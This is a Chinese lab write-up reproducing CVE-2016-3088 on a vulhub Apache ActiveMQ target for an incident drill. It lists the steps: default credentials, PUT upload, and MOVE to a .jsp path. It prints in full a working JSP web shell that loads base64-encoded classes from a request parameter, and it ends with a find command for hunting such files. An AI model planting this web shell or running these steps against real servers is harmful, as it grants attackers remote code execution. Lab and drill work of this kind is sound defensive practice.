CVE-2016-3088-复现
最近要做应急演练,用到了这个漏洞,就顺便记录一下这个靶场的流程
环境就不记录了,用的是vulhub的靶场
ps:关于该漏洞的成因,我对代码审计不是很懂,这里就不记录了,有兴趣的可以看看参考链接里的分析。
0x01
账户密码是:admin/admin
0x02
登陆后台访问/admin/test/systemProperties.jsp拿绝对路径
0x03 通过put的方式传入文本形式的shell,显示204即为上传成功
访问可以看到上传成功
0x04 利用MOVE方法将上传的wbsh©移动到可以执行的目录并更改后缀为jsp。
进行利用尝试,执行命令
0x05 传入一句话木马,蚁剑链接,同上述方法一致(当时执行的时候忘截图了)
文本:(找不到参考的链接了)
<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
%>
<%
String cls = request.getParameter("passwd");
if (cls != null) {
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
%>
上传成功:
连接蚁剑:
0x06 排查
命令:find -name "*.jsp" -exec stat -c "%n %y" {} \;